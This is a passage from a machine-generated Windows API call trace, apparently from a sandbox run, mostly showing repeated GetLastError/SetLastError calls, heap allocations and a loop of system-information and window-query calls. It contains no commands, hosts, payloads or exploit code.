GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.678] SetLastError (dwErrCode=0x0) [0053.678] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.679] GetLastError () returned 0x0 [0053.679] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.680] GetLastError () returned 0x0 [0053.680] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x71) returned 0x5d07c8 [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.681] GetLastError () returned 0x0 [0053.681] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.682] SetLastError (dwErrCode=0x0) [0053.682] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.683] GetLastError () returned 0x0 [0053.683] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.684] SetLastError (dwErrCode=0x0) [0053.684] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.685] SetLastError (dwErrCode=0x0) [0053.685] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.686] SetLastError (dwErrCode=0x0) [0053.686] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.687] SetLastError (dwErrCode=0x0) [0053.687] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] GetLastError () returned 0x0 [0053.688] SetLastError (dwErrCode=0x0) [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x98) returned 0x5d0848 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1f) returned 0x5d1818 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x36) returned 0x5d08e8 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x37) returned 0x5d3d00 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x5d3d40 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x31) returned 0x5d3d88 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x17) returned 0x5d3dc8 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5d3de8 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x14) returned 0x5d3e18 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd) returned 0x5d0af8 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x25) returned 0x5d3e38 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x39) returned 0x5d3e68 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x18) returned 0x5d3eb0 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x17) returned 0x5d3ed0 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xe) returned 0x5d0b10 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x69) returned 0x5d3ef0 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3e) returned 0x5d3f68 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1b) returned 0x5d1840 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1d) returned 0x5d1868 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x48) returned 0x5d2a90 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x12) returned 0x5d3fb0 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x18) returned 0x5d2ae0 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1b) returned 0x5d1890 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x5d2b00 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x29) returned 0x5d2b30 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x5d18b8 [0053.688] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x41) returned 0x5d2b68 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x17) returned 0x5d2bb8 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xf) returned 0x5d0b28 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x16) returned 0x5d2bd8 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x5d2bf8 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x29) returned 0x5d2c30 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x15) returned 0x5d2c68 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x1e) returned 0x5d18e0 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x2a) returned 0x5d2c88 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x12) returned 0x5d2cc0 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x18) returned 0x5d2ce0 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x46) returned 0x5d2d00 [0053.689] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d3568 | out: hHeap=0x5c0000) returned 1 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x80) returned 0x5d2d50 [0053.689] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.689] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x5d2dd8 [0053.689] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40c304) returned 0x0 [0053.690] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2d50) returned 0x80 [0053.690] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2d50) returned 0x80 [0053.690] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2d50) returned 0x80 [0053.690] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2d50) returned 0x80 [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.690] GetLastError () returned 0x0 [0053.690] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.691] SetLastError (dwErrCode=0x0) [0053.691] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.692] SetLastError (dwErrCode=0x0) [0053.692] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetLastError () returned 0x0 [0053.693] SetLastError (dwErrCode=0x0) [0053.693] GetTickCount () returned 0x1c30f [0053.693] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.694] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.694] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.694] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.694] GetTickCount () returned 0x1c30f [0053.694] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.694] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.694] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.694] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.694] GetTickCount () returned 0x1c30f [0053.694] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.694] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.694] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.694] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.694] GetTickCount () returned 0x1c30f [0053.694] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.694] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.694] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.694] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.694] GetTickCount () returned 0x1c30f [0053.694] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.694] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.694] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.695] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.695] GetTickCount () returned 0x1c30f [0053.695] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.695] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.695] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.695] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.695] GetTickCount () returned 0x1c30f [0053.695] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.695] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.695] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.695] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.695] GetTickCount () returned 0x1c30f [0053.695] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.695] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.695] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0053.695] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0053.695] GetTickCount () returned 0x1c30f [0053.695] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0053.695] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0053.695] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, 